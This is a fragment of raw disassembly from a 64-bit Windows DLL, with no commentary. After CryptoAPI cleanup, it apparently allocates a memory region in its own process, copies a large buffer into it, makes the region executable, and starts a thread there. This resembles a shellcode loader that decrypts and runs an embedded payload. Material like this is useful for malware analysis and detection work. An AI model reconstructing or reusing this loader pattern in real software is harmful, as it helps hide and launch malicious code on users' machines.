xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 0x4b9b8]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp + 0x4ba10]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov qword [rbp + 0x4b930], 0
mov qword [rbp + 0x4b9b8], 0x200000
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea rsi, [rbp + 0x4b930]
lea rdi, [rbp + 0x4b9b8]
mov rcx, 0xffffffffffffffff
mov rdx, rsi
xor r8d, r8d
mov r9, rdi
call fcn.180014a10
mov rcx, qword [rbp + 0x4b930]
lea rdx, [rbp - 0x20]
mov r8d, 0x4b840
call fcn.180038050
mov dword [rbp + 0x4b9e0], 0
lea rax, [rbp + 0x4b9e0]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
mov rdx, rsi
mov r8, rdi
mov r9d, 0x20
call fcn.180014a50
mov qword [rbp + 0x4ba10], 0xffffffffffffffff
mov rax, qword [rbp + 0x4b930]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rsi, [rbp + 0x4ba10]
mov rcx, rsi
mov edx, 0x1fffff
xor r8d, r8d
mov r9, 0xffffffffffffffff
call fcn.180014a90
mov qword [rsp + 0x20], 0
mov ecx, 1
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call fcn.180014ad0
xor eax, eax
movaps xmm6, xmmword [rbp + 0x4ba40]
movaps xmm7, xmmword [rbp + 0x4ba50]
add rsp, 0x4bae8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ecx, 0xffffffff
call fcn.18001e4b8
mov ecx, 1
call fcn.18001e4b8
call fcn.18001f484
call fcn.180004d50
mov ecx, 0xe
call fcn.1800153ac
call fcn.180004d70
call fcn.180004d70
call fcn.180004d50
call fcn.180004dd0
call fcn.180004d50
call fcn.180004d70
call fcn.180004d50
int3